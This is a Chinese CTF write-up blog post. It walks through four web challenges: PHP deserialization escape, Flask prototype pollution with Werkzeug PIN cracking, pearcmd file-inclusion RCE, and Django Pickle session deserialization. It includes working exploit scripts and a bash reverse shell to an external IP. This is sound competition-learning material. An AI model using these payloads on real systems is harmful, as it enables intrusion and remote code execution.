前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >巅峰极客及DASCTF7月赛复现

巅峰极客及DASCTF7月赛复现

作者头像
用户9691112
发布2023-09-04 08:09:45
2350
发布2023-09-04 08:09:45
举报
文章被收录于专栏:quan9i的安全笔记

巅峰极客

unserialize

复现环境

访问www.zip可获取源码

而后审计源码

image-20230723111202585
image-20230723111202585

这里的话是传入了两个参数,然后将其赋值到一个类中,进行了序列化同时用了b函数进行处理,看一下有关类的

image-20230723111504927
image-20230723111504927

这里可以看到能执行反序列化的只有pull_it类中的@eval($this->x),因此我们需要控制的就是这个x了,然后我们接下来看刚刚的b函数是什么东西

image-20230723111752818
image-20230723111752818

可以发现是替换数据的,看到这个,结合反序列化,这里应该是反序列化逃逸了,不过是字符逃逸增加还是减少呢,我们看的是反序列化前的函数

image-20230723111855318
image-20230723111855318

这里发现是a函数,因此是反序列化字符串逃逸减少类型的,接下来看一下如何构造,首先给它随便赋值

给它赋值为1和2,而后可得到数据

代码语言:javascript
复制
"O:7:"push_it":2:{s:13:"\000push_it\000root";s:1:"1";s:12:"\000push_it\000pwd";s:1:"2";}"
    // \000这个是private变量序列化后自带的,其实就是个0,但在PHP中会把这认为是4个字母,所以需要改成0
"O:7:"push_it":2:{s:13:"0push_it0root";s:1:"1";s:12:"0push_it0pwd";s:1:"2";}"

";s:12:"0push_it0pwd";s:1:"2这部分共28个字符,所以我们这里构造14个bbbbbb即可实现逃逸,而后因为这里是两个变量,所以我们需要再自定义一个,因为剩下的还有";,所以我们需要补到变量上去,也就是说pwd开头必须是";s:6:"quan9i"这种格式(字符串必须用双引号包裹),而后我们看执行命令的那个,我们这里需要构造无数字字母webshell,在这里我构造好的system(ls),其异或结果是("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");,而后我们这里先对其进行URL解码,再对其进行序列化后进行URL编码,然后再将之前自定义的变量赋值给pwd即可,构造Poc如下

代码语言:javascript
复制
<?php

class pull_it {
	private $x;

	function __construct($xx) {
		$this->x = $xx;
	}

	function __destruct() {
		if ($this->x) {
			$preg_match = 'return preg_match("/[A-Za-z0-9]+/i", $this->x);';
		if (eval($preg_match)) {
			echo $preg_match;
			exit("save_waf");
		}
		@eval($this->x);
		}
	}	
}
class push_it {
	private $root;
	private $pwd;

	function __construct($root, $pwd) {
		$this->root = $root;
		$this->pwd = $pwd;
	}
	
		function __destruct() {
		unset($this->root);
		unset($this->pwd);
	}

	function __toString() {
		if (isset($this->root) && isset($this->pwd)) {
			echo "<h1>Hello, $this->root</h1>";
		}
		else {
			echo "<h1>out!</h1>";
		}
	}
}
$pop= new pull_it(urldecode('("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");'));
$pop= urlencode(serialize($pop));
echo '";s:6:"quan9i";'.$pop;
?>

得到";s:6:"quan9i";O%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A31%3A%22%28%22%08%02%08%08%05%0D%22%5E%22%7B%7B%7B%7C%60%60%22%29%28%22%0C%08%22%5E%22%60%7B%22%29%3B%22%3B%7D,此即为pwd变量,接下来进行赋值

image-20230723175446982
image-20230723175446982

此时带着Cookie访问login.php

image-20230723175519920
image-20230723175519920

DASCTF7月暑假赛

EzFlask

先不看源码,先来讲一下前置知识,这里开始的考察点为Python原型链污染,这里举个例子

代码语言:javascript
复制
def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

我们通过__class__.__base__可以修改父类属性

代码语言:javascript
复制
from utils import merge


class father:
    secret = "haha"

class son_a(father):
    pass

class son_b(father):
    pass


instance = son_b()
payload = {
    "__class__" : {
        "__base__" : {
            "secret" : "no way"
        }
    }
}

print(son_a.secret)
#haha
print(instance.secret)
#haha
merge(payload, instance)
print(son_a.secret)
#no way
print(instance.secret)
#no way

接下来再看这道题,访问后得源码

代码语言:javascript
复制
import uuid

from flask import Flask, request, session
from secret import black_list
import json

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
    for i in black_list:
        if i in data:
            return False
    return True

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class user():
    def __init__(self):
        self.username = ""
        self.password = ""
        pass
    def check(self, data):
        if self.username == data['username'] and self.password == data['password']:
            return True
        return False

Users = []

@app.route('/register',methods=['POST'])
def register():
    if request.data:
        try:
            if not check(request.data):
                return "Register Failed"
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Register Failed"
            User = user()
            merge(data, User)
            Users.append(User)
        except Exception:
            return "Register Failed"
        return "Register Success"
    else:
        return "Register Failed"

@app.route('/login',methods=['POST'])
def login():
    if request.data:
        try:
            data = json.loads(request.data)
            if "username" not in data or "password" not in data:
                return "Login Failed"
            for user in Users:
                if user.check(data):
                    session["username"] = data["username"]
                    return "Login Success"
        except Exception:
            return "Login Failed"
    return "Login Failed"

@app.route('/',methods=['GET'])
def index():
    return open(__file__, "r").read()

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5010)

明显的Python原型链污染,接下来进行污染即可

代码语言:javascript
复制
{

"username":"a",
"password":"b",
"check" : {
            "__globals__" : {
                "__file__":"secret.py"
            }
    }
}
image-20230725020043563
image-20230725020043563

发现过滤了几个关键字

image-20230725020103343
image-20230725020103343

读取flag发现没有

image-20230725020228310
image-20230725020228310

但出现了PIN码,尝试算PIN码实现RCE,这里我们需要知道PIN码生成的六个要素

代码语言:javascript
复制
pin码生成要六要素
1.username 在可以任意文件读的条件下读 /etc/passwd进行猜测
2.modname 默认flask.app
3.appname 默认Flask
4.moddir flask库下app.py的绝对路径,可以通过报错拿到,如传参的时候给个不存在的变量
5.uuidnode mac地址的十进制,任意文件读 /sys/class/net/eth0/address
6.machine_id 

对于用户名,我们这里可以读取/proc/self/status,发现Uid为0,说明是root用户

image-20230725021043021
image-20230725021043021

而后对于2和3无需更改,接下来第四个moddir flask,我们在上面的报错中,可以看出是/usr/local/lib/python3.10/site-packages/flask/app.py,接下来看第五个uuidnode mac,读取/sys/class/net/eth0/address,读取后得到4e:a8:f5:c0:49:db,而后转为十进制

代码语言:javascript
复制
>>> int('4ea8f5c049db',16)
86487584491995

得到86487584491995,接下来看最后一个machine_id,它的话是在/usr/local/lib/python3.10/site-packages/werkzeug/debug/__init__.py文件中看get_machine_id()函数来获取的,这里需要对__init__进行绕过,使用Unicode编码即可

代码语言:javascript
复制
{

"username":"a",
"password":"b",
"check" : {
            "__globals__" : {
                "__file__":"/usr/local/lib/python3.10/site-packages/werkzeug/debug/__init\u005f_.py"
            }
    }
}
image-20230725022317900
image-20230725022317900

可以知道/etc/machine-id/proc/sys/kernel/random/boot_id只要读取到其中一个就可以,然后继续拼接上/proc/self/cgroup中以/结尾的最后一部分即可,我们这里读取/etc/machine-id获取到96cec10d3d9307792745ec3b85c89620,读取/proc/self/cgroup获取到docker-78749d687627348213d5c1e617c2ffa8b39183112e700935cf8ecaadb39c9855.scope

image-20230725023537402
image-20230725023537402

因此最后一部分值为96cec10d3d9307792745ec3b85c89620docker-78749d687627348213d5c1e617c2ffa8b39183112e700935cf8ecaadb39c9855.scope

接下来运行脚本

代码语言:javascript
复制
import hashlib
from itertools import chain
probably_public_bits = [
    'root',
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.10/site-packages/flask/app.py' 
]

private_bits = [
    '86487584491995',
    '96cec10d3d9307792745ec3b85c89620docker-78749d687627348213d5c1e617c2ffa8b39183112e700935cf8ecaadb39c9855.scope'# get_machine_id(), /etc/machine-id  /proc/sys/kernel/random/boot_id
]   

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)

得到PIN码

image-20230725023823965
image-20230725023823965

访问console,输入PIN码

image-20230725024446477
image-20230725024446477

执行命令即得flag

ezcms

进入后发现环境为XHCMS,之前审计过,知道有SQL注入,然后傻呆呆的查了半天,发现数据库里没藏flag,然后想起来文件包含漏洞,这里它还会拼接.php后缀

image-20230723005505768
image-20230723005505768

因此如果能够实现上传1.jpg,再用多个.....来突破最大长度限制,实现后缀失效,继而使得文件变成1.php,但发现不能上传文件

image-20230723005826028
image-20230723005826028

因此只能另想它法,后来想到文件包含中的pear文件包含可以RCE,因此进行了尝试,找了找默认路径,最后成功打入

image-20230723005925967
image-20230723005925967

而后访问文件,执行命令即可

image-20230723005951475
image-20230723005951475

ezpy

给了附近,在settings.py中发现

代码语言:javascript
复制
ROOT_URLCONF = 'openlug.urls'
# for database performance
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
# use PickleSerializer
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'

PickleSerializer联想到Pickle反序列化

Django反序列化在Python\Lib\site-packages\django\core\signing.py,源码如下

代码语言:javascript
复制
def dumps(obj, key=None, salt='django.core.signing', serializer=JSONSerializer, compress=False):
    is_compressed = False

    if compress:
        compressed = zlib.compress(data)
        if len(compressed) < (len(data) - 1):
            data = compressed
            is_compressed = True
    base64d = b64_encode(data).decode()
    if is_compressed:
        base64d = '.' + base64d
    return TimestampSigner(key, salt=salt).sign(base64d)

虽然要求是JSONSerializer,不过这里用pickle也无妨

其具体位置在Python\Lib\site-packages\django\contrib\sessions\serializers.py

代码语言:javascript
复制
class PickleSerializer(object):
    """
    Simple wrapper around pickle to be used in signing.dumps and
    signing.loads.
    """
    def dumps(self, obj):
        return pickle.dumps(obj, pickle.HIGHEST_PROTOCOL)

    def loads(self, data):
        return pickle.loads(data)

最终Exp如下

代码语言:javascript
复制
# coding: utf-8
import pickle
import django.core.signing
import subprocess
import base64

class PickleSerializer(object):
    """
    Simple wrapper around pickle to be used in signing.dumps and
    signing.loads.
    """
    def dumps(self, obj):
        return pickle.dumps(obj, pickle.HIGHEST_PROTOCOL)

    def loads(self, data):
        return pickle.loads(data)

class CreateTmpFile(object):
    def __reduce__(self):
        import subprocess
        return (subprocess.Popen,
                (('bash -c "bash -i >& /dev/tcp/115.236.153.177/21698 <&1"',),-1,None,None,None,None,None,False, True))


scookie = django.core.signing.dumps(
    obj=CreateTmpFile(),
    key='p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn',
    salt='django.contrib.sessions.backends.signed_cookies',
    serializer=PickleSerializer)
print(scookie)

而后在登录处会用到session,因此在Cookie处给其赋值Sessionid即可

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023-07-22T,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 巅峰极客
    • unserialize
    • DASCTF7月暑假赛
      • EzFlask
        • ezcms
          • ezpy
          相关产品与服务
          容器服务
          腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档